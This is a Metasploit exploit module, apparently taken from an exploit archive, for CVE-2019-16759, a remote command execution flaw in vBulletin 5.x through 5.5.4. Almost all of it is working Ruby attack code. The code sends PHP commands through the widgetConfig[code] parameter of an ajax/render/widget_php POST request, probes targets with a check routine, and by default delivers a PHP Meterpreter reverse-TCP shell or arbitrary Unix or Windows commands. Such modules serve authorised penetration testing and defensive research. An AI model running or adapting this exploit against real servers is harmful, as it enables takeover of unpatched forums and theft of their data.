vBulletin 5.5.4 Remote Command Execution

This Metasploit module exploits vBulletin versions 5.x through 5.5.4 leveraging a remote command execution vulnerability via the widgetConfig[code] parameter in an ajax/render/widget_php routestring POST request.


MD5 | 12d01f78d7c81ffd50f6373629755cb8

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin widgetConfig RCE',
'Description' => %q{
vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code]
parameter in an ajax/render/widget_php routestring POST request.
},
'Author' => [
'unknown', # discovered by an unknown sender.
'mekhalleh (RAMELLA Sébastien)' # this module.
],
'References' => [
['CVE', '2019-16759'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html']
],
'DisclosureDate' => '2019-09-23',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'windows'],
'Arch' => [ARCH_CMD, ARCH_PHP],
'Privileged' => true,
'Targets' => [
['Meterpreter (PHP In-Memory)',
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_memory,
'Payload' => {
'BadChars' => "\x22",
},
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => 'false'
}
],
['Unix (CMD In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => 'true'
}
],
['Windows (CMD In-Memory)',
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'DisablePayloadHandler' => 'true'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_options([
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def cmd_payload(command)
return("echo #{datastore['PHP_CMD']}('#{command}'); exit;")
end

def execute_command(command)
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'encode_params' => true,
'vars_post' => {
'routestring' => 'ajax/render/widget_php',
'widgetConfig[code]' => command
}
})
if (response) && (response.body)
return response
end

return false
end

def check
rand_str = Rex::Text.rand_text_alpha(8)
received = execute_command(cmd_payload("echo #{rand_str}"))
if received && received.body.include?(rand_str)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
unless check.eql? Exploit::CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
end
end
vprint_good("The target appears to be vulnerable.")

print_status("Sending #{datastore['PAYLOAD']} command payload")
case target['Type']
when :unix_cmd, :windows_cmd
cmd = cmd_payload(payload.encoded)
vprint_status("Generated command payload: #{cmd}")

received = execute_command(cmd)
if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
print_warning('Dumping command output in body response')
if received.body.empty?
print_error('Empty response, no command output')
return
end
print_line("#{received.body}")
end

when :php_memory
vprint_status("Generated command payload: #{payload.encoded}")
execute_command(payload.encoded)
end
end
end

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